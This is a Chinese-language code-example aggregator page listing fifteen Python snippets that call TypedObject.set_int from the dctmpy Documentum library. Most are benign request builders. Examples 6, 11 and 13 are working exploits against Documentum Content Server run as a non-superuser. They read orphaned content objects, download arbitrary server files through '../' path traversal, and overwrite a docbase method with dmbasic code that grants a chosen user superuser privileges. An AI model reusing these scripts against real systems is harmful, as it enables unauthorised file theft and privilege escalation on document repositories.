本文整理汇总了Python中dctmpy.obj.typedobject.TypedObject.set_int方法的典型用法代码示例。如果您正苦于以下问题:Python TypedObject.set_int方法的具体用法?Python TypedObject.set_int怎么用?Python TypedObject.set_int使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类dctmpy.obj.typedobject.TypedObject
的用法示例。
在下文中一共展示了TypedObject.set_int方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: get_attribute_nls_info
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def get_attribute_nls_info(session, type, attribute, policy=NULL_ID, state=0):
obj = TypedObject(session=session)
obj.set_string("TYPE_NAME", type)
obj.set_string("ATTR_NAME", attribute)
obj.set_id("POLICY_ID", policy)
obj.set_int("POLICY_STATE", state)
return obj
示例2: execute
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def execute(session, query, for_update, batch_hint, bof_dql=False):
obj = TypedObject(session=session)
obj.set_string("QUERY", query)
obj.set_bool("FOR_UPDATE", for_update)
obj.set_int("BATCH_HINT", batch_hint)
obj.set_bool("BOF_DQL", bof_dql)
return obj
示例3: _docbase_map_request
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def _docbase_map_request(handle, version):
obj = TypedObject(ser_version=0)
obj.set_string("DBR_REQUEST_NAME", "DBRN_GET_DOCBASE_MAP")
obj.set_int("DBR_REQUEST_VERSION", 1)
obj.set_string("DBR_REQUEST_HANDLE", handle)
obj.set_string("DBR_SOFTWARE_VERSION", version)
return obj
示例4: convert_id
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def convert_id(session, fmt, page=0, page_modifier='', convert=False, useconvert=False):
obj = TypedObject(session=session)
obj.set_int("page", page)
obj.set_string("format", fmt)
obj.set_string("page_modifier", page_modifier)
obj.set_bool("convert", convert)
obj.set_bool("useconvert", useconvert)
return obj
示例5: _server_map_request
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def _server_map_request(handle, version, docbase):
obj = TypedObject(ser_version=0)
obj.set_string("r_docbase_name", docbase)
obj.set_string("r_map_name", "mn_cs_map")
obj.set_string("DBR_REQUEST_NAME", "DBRN_GET_SERVER_MAP")
obj.set_int("DBR_REQUEST_VERSION", 1)
obj.set_string("DBR_REQUEST_HANDLE", handle)
obj.set_string("DBR_SOFTWARE_VERSION", version)
return obj
示例6: main
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
print "Querying \"inaccessible\" dmr_content objects..."
for e in session.query(
"SELECT * FROM dmr_content "
"WHERE ANY parent_id IS NOT NULLID "
"AND ANY parent_id NOT IN "
"(SELECT r_object_id FROM dm_sysobject)"
):
handle = 0
try:
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", e["storage_id"])
obj.set_id("format", e["format"])
obj.set_int("data_ticket", e["data_ticket"])
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
print "Failed"
exit(1)
handle = session.make_puller(
NULL_ID, obj["storage_id"], content_id,
obj["format"], obj["data_ticket"]
)
if handle == 0:
raise RuntimeError("Unable make puller")
size = 0
for chunk in session.download(handle):
size += len(chunk)
print "Downloaded %d/%d bytes of object %s" % \
(size, e['full_content_size'], e['r_object_id'])
finally:
if handle > 0:
try:
session.kill_puller(handle)
except:
pass
示例7: get_file
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def get_file(session, content_id, file_name=None):
content = session.get_object(content_id)
obj = TypedObject(session=session)
obj.set_id("STORAGE", content['storage_id'])
obj.set_id("FORMAT", content['format'])
obj.set_id("CONTENT", content['r_object_id'])
obj.set_int("D_TICKET", content['data_ticket'])
obj.set_bool("MAC_CLIENT", False)
if file_name:
obj.set_string("OBJNAME", file_name)
return obj
示例8: get_login
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def get_login(session, username=None, scope="global", servername=None, timeout=300, singleuse=False):
obj = TypedObject(session=session)
if username:
obj.set_string("OPTIONAL_USER_NAME", username)
if scope:
obj.set_string("LOGIN_TICKET_SCOPE", scope)
if servername:
obj.set_string("SERVER_NAME", servername)
if timeout > 0:
obj.set_int("LOGIN_TICKET_TIMEOUT", timeout)
obj.set_bool("SINGLE_USE", singleuse)
return obj
示例9: get_dist_content_map
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def get_dist_content_map(session, fmt=None, page_number=0, page_modifier='', netloc_id='',
request_time=int(time.mktime(time.gmtime())),
expire_delta=360, lookup_resourcefork_info=False, include_surrogate_get=True):
obj = TypedObject(session=session)
if fmt:
obj.set_string("format", fmt)
obj.set_int("page_number", page_number)
obj.set_string("page_modifier", page_modifier)
obj.set_string("netloc_id", netloc_id)
obj.set_string("request_time", str(request_time))
obj.set_string("expire_delta", str(expire_delta))
obj.set_bool("lookup_resourcefork_info", lookup_resourcefork_info)
obj.set_bool("include_surrogate_get", include_surrogate_get)
return obj
示例10: make_puller
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def make_puller(session, objectId, storeId, contentId, formatId, ticket, other=False, offline=False,
compression=False, noAccessUpdate=False):
obj = TypedObject(session=session)
obj.set_id("SYSOBJ_ID", objectId)
obj.set_id("STORE", storeId)
obj.set_id("CONTENT", contentId)
obj.set_id("FORMAT", formatId)
obj.set_int("TICKET", ticket)
obj.set_bool("IS_OTHER", other)
obj.set_bool("IS_OFFLINE", offline)
obj.set_bool("COMPRESSION", compression)
if noAccessUpdate:
obj.set_bool("NO_ACCESS_UPDATE", noAccessUpdate)
return obj
示例11: download
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def download(session, path, buf):
print "Downloading %s" % path
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
store = session.get_by_qualification("dm_filestore")
format = session.get_by_qualification("dm_format")
remote_path = "common=/../../../../../../../../../..%s=Directory" % path
result = session.put_file(store.object_id(), remote_path, format.object_id())
full_size = result['FULL_CONTENT_SIZE']
ticket = result['D_TICKET']
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", store.object_id())
obj.set_id("format", format.object_id())
obj.set_int("data_ticket", ticket)
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
raise RuntimeError("Unable to save content object")
handle = session.make_puller(
NULL_ID, store.object_id(), content_id,
format.object_id(), ticket
)
if handle == 0:
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
return buf
示例12: exec_select_sql
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def exec_select_sql(session, query, batch_hint=50):
obj = TypedObject(session=session)
obj.set_string("QUERY", query)
obj.set_int("BATCH_HINT", batch_hint)
return obj
示例13: main
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any dm_method object with content..."
method_object = session.get_by_qualification(
"dm_method WHERE use_method_content=TRUE "
"and method_verb like 'dmbasic -e%'")
method_content = session.get_by_qualification(
"dmr_content where any parent_id='%s'"
% method_object['r_object_id'])
print "Trying to poison docbase method %s" % method_object['object_name']
method_verb = method_object['method_verb']
print "Method verb: %s" % method_verb
method_function = method_verb[len("dmbasic -e"):]
print "Method function: %s" % method_function
new_content = \
"Const glabel As String = \"Label\"\n" \
"Const ginfo As String = \"Info\"\n" \
"Const gerror As String = \"Error\"\n" \
"\n" \
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
" If(mssgtype=glabel) Then\n" \
" Print \"<BR><B><FONT size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT></B>\"\n" \
" ElseIf(mssgtype=ginfo) Then\n" \
" Print \"<BR><FONT color=blue>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" ElseIf(mssgtype=gerror) Then\n" \
" Print \"<BR><FONT color=red size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" Else\n" \
" Print \"<BR>\" & mssg\n" \
" End If\n" \
"End Sub\n" \
"Private Sub SetupSuperUser(TargetUser As String)\n" \
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
" If objectid$ <> \"\" then\n" \
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
" End If\n" \
"End Sub\n" \
"\n" \
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
" Dim SessionID As String\n" \
"\n" \
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \
" If SessionID =\"\" Then\n" \
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" DmExit(-1)\n" \
" Else\n" \
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" End If\n" \
"\n" \
" Call SetupSuperUser(TargetUser)\n" \
"\n" \
"End Sub\n" % method_function
print "Trying to inject new content:\n%s" % new_content
session.apply(None, NULL_ID, "BEGIN_TRANS")
if method_content is not None:
print "Removing method's content"
remove = TypedObject(session=session)
remove.set_string("OBJECT_TYPE", "dmr_content")
remove.set_int("i_vstamp", method_content['i_vstamp'])
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)
if obj != True:
print "Failed to remove method's content, exiting"
end_tran(session, False)
exit(1)
print "method's content has been successfully removed"
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
b = bytearray()
b.extend(new_content)
if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
#.........这里部分代码省略.........
示例14: fetch_type
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def fetch_type(session, typename, vstamp):
obj = TypedObject(session=session)
obj.set_string("TYPE_NAME", typename)
obj.set_int("CACHE_VSTAMP", vstamp)
return obj
示例15: get_docbase_config
# 需要导入模块: from dctmpy.obj.typedobject import TypedObject [as 别名]
# 或者: from dctmpy.obj.typedobject.TypedObject import set_int [as 别名]
def get_docbase_config(session):
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dm_docbase_config")
obj.set_bool("FOR_REVERT", False)
obj.set_int("CACHE_VSTAMP", 0)
return obj